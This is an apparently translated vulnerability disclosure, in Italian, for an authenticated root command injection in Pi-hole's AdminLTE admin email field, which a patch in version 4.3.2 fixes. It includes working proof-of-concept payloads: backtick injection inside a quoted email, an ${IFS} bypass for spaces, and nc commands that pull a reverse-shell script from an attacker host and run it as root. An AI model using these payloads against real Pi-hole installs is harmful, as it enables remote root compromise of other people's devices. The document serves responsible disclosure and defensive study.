
La versione 4.3.2 di Pi-Hole contiene una patch per questa vulnerabilità: https://github.com/pi-hole/AdminLTE/pull/974
Un grande ringraziamento al team di sviluppo di Pi-Hole per il loro fantastico progetto e per aver reso così semplice segnalare questa vulnerabilità!
È possibile ottenere da remoto l'accesso root sul dispositivo RaspberyPi (o su qualsiasi dispositivo/VM su cui l'applicazione è in esecuzione) attraverso le vulnerabilità descritte sul componente "AdminLTE". Per sfruttare questa vulnerabilità è richiesto l'accesso amministrativo/le credenziali dell'interfaccia web AdminLTE.
In maggiore dettaglio, è possibile bypassare i controlli delle espressioni regolari e compromettere il campo "Indirizzo e-mail dell'amministratore" con comandi arbitrari. Questi vengono a loro volta memorizzati in "/etc/pihole/setupVars.conf", che vengono successivamente analizzati ed eseguiti con privilegi root dal job cron.d di 10 minuti "/usr/local/bin/pihole updatechecker local".
Un attaccante deve attendere l'intervallo di 10 minuti del cron job "/etc/cron.d/pihole" per l'esecuzione di comandi/codice.
Si spera che i seguenti dettagli e la PoC aiutino nella validazione e riproduzione del problema.
Una volta autenticati nell'applicazione web, ci sono alcune validazioni lato server che un attaccante deve bypassare per iniettare con successo un comando.
In "savesettings.php" L:499 una variabile controllata dall'utente "$adminemail" viene valutata rispetto alla funzione PHP interna FILTER_VALIDATE_EMAIL, i cui controlli sono relativamente deboli.
È quindi possibile bypassare questo controllo di validazione e dimostrare l'iniezione di comandi semplicemente racchiudendo una serie di backtick tra doppi apici, ad esempio inserendo quanto segue come e-mail dell'amministratore:
"`test>/tmp/poc_proof.txt`"@example.com

Entro 10 minuti verrà creato un file di proprietà di root contenente "test" all'interno di "/tmp/poc_proof.txt" con privilegi di root.

Per eseguire ulteriori attacchi significativi, è inoltre necessario bypassare la limitazione degli spazi bianchi (che non sono caratteri e-mail validi e vengono intercettati dalla funzione FILTER_VALIDATE_EMAIL). A questo scopo è stata utilizzata la variabile interna di Linux ${IFS} (che nella maggior parte dei sistemi Unix ha come valore predefinito lo spazio bianco).
PoC:
*Nota: questo potrebbe essere automatizzato con una riga singola usando la grammatica della shell POSIX, ad esempio &&, || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

La richiesta HTTP apparirà così se esaminata con un proxy HTTP:

Attendi 10 minuti affinché il cron job venga eseguito e recupera lo script, oppure, per scopi di riproduzione, esegui manualmente /usr/local/bin/pihole updatechecker local. Puoi anche validare il comando iniettato presente in "/etc/pihole/setupVars.conf" (assegnato alla variabile ADMIN_EMAIL)
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
Ancora una volta attendi 10 minuti (o esegui manualmente lo script cron a scopo di riproduzione del problema) e otterrai una shell root sulla tua macchina attaccante.
